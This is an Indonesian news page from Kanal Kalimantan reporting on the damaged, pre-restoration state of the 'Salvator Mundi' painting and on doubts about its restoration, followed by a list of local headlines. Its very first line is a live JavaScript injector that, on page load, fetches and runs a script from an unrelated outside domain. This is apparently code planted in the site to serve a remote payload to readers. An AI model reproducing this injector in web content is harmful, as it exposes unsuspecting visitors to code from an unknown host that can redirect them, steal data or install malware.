(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Ini Penampakan Lukisan Termahal di Dunia Sebelum Direstorasi


Misteri mengenai lukisan ‘Salvator Mundi’ yang dibeli Museum Louvre Abu Dhabi tampaknya akan terus ada. Lukisan senilai Rp 6 triliun yang menjadi termahal di dunia itu sebelum direstorasi, penampakan permukaan lukisan sangat menyedihkan.

Di beberapa bagian lukisan terdapat cat yang sudah mengelupas dan warna rambut subyek pun seakan berganti warna. Lukisannya memang terbuat bukan di atas kanvas tapi panel kayu kenari.

Mei 2008 lalu, beberapa ahli Leonardo da Vinci diundang untuk meneliti sebuah lukisan. Ada sejarawan dan ahli seni da Vinci Martin Kemp, Departemen Konservasi Galeri Nasional, dan para peneliti lainnya.

Lukisan yang diperlihatkan pada mereka adalah seorang lelaki berambut panjang, berjenggot, menatap lurus ke depan dengan satu tangan terangkat, dan satunya lagi memegang bola kristal. “Ada getaran dalam lukisannya dan saya merasakan kehadiran Leonardo da Vinci,” ujar Kemp dilansir dari Guardian, Selasa (16/10).

Hari itu, lukisan yang belum direstorasi itu diyakini sebagai karya Leonardo da Vinci yang hilang. Tiga tahun berikutnya pada November 2011, potret Kristus itu dipamerkan dalam pameran Leonardo di Galeri Nasional. Enam tahun setelahnya, lukisannya dijual Balai Lelang Christie dan menjadi lukisan termahal di dunia senilai Rp 6 triliun.

Bulan lalu, lukisan ‘Salvator Mundi’ seharusnya dibuka di Museum Louvre Abu Dhabi pada 18 September. Namun ditunda dengan alasan, “Rincian lebih lanjut bakal diumumkan”.

“Sampai sekarang belum ada pengumuman lebih lanjut. Saya hanya diminta untuk mengirim ulang pernyataan,” ujar Kemp.

Mantan direktur Museum Metropolitan New York, Thomas Campbell, menuturkan masalah lukisan ini terletak pada restorasi. “Semua repaints telah dibersihkan. Implikasinya adalah lukisan yang dijual oleh Christie terlalu over dipulihkan. Apakah ada banyak orang yang mempertanyakan proses konservasi ‘Salvator Mundi’?” tanyanya. (tia/dal.dtc)

Reporter : Tia/dal.dtc
Editor : Chell

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

6 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

9 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

12 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

13 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

13 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

14 jam ago

This website uses cookies.